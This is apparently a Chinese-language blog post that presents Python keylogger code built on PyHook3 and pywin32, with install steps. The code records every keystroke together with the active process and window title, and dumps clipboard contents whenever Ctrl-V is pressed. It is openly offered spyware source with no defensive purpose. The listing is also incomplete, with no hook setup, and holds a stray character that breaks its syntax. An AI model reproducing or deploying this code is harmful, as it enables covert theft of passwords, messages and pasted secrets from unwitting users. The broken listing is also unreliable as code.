键盘记录PyHook

安装依赖包

pip install pypiwin32

pip3 install PyHook3

若报错，看看是不是 swig.exe找不到（下载swigwin解压配置环境变量即可）

PyHook3 的下载与安装_星空ホシゾラ的博客-CSDN博客_pyhook下载

from ctypes import *
import pythoncom
import PyHook3 as pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None


def get_current_process():
   # get a handle to the foreground window
   hwnd = user32.GetForegroundWindow()

   # find the process ID
   pid = c_ulong(0)
   user32.GetWindowThreadProcessId(hwnd, byref(pid))

   # store the current process ID
   process_id = "%d" % pid.value

   # grab the executable
   executable = create_string_buffer(b"\x00" * 512)
   h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

   psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

   # now read it's title
   window_title = create_string_buffer(b"\x00" * 512)
   length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

   # print out the header if we're in the right process
   print()
   print("[ PID: %s - %s - %s ]" % (
   process_id, executable.value.decode(encoding='GB2312'), window_title.value.decode(encoding='GB2312')))

   # close handles
   kernel32.CloseHandle(hwnd)
   kernel32.CloseHandle(h_process)


def KeyStroke(event):
   global current_window

   # check to see if target changed windows
   if event.WindowName != current_window:
       current_window = event.WindowName
       get_current_process()

   # if they pressed a standard key
   if 32 < event.Ascii < 127:
       print(chr(event.Ascii))
   else:
       # if [Ctrl-V], get the value on the clipboard
       # added by Dan Frisch 2014
       if event.Key == "V":
           win32clipboard.OpenClipboard()A
           pasted_value = win32clipboard.GetClipboardData()
           win32clipboard.CloseClipboard()
           print("[PASTE] - %s" % pasted_value)

       else:
           print("[%s]" % event.Key)

   # pass execution to next hook registered
   return True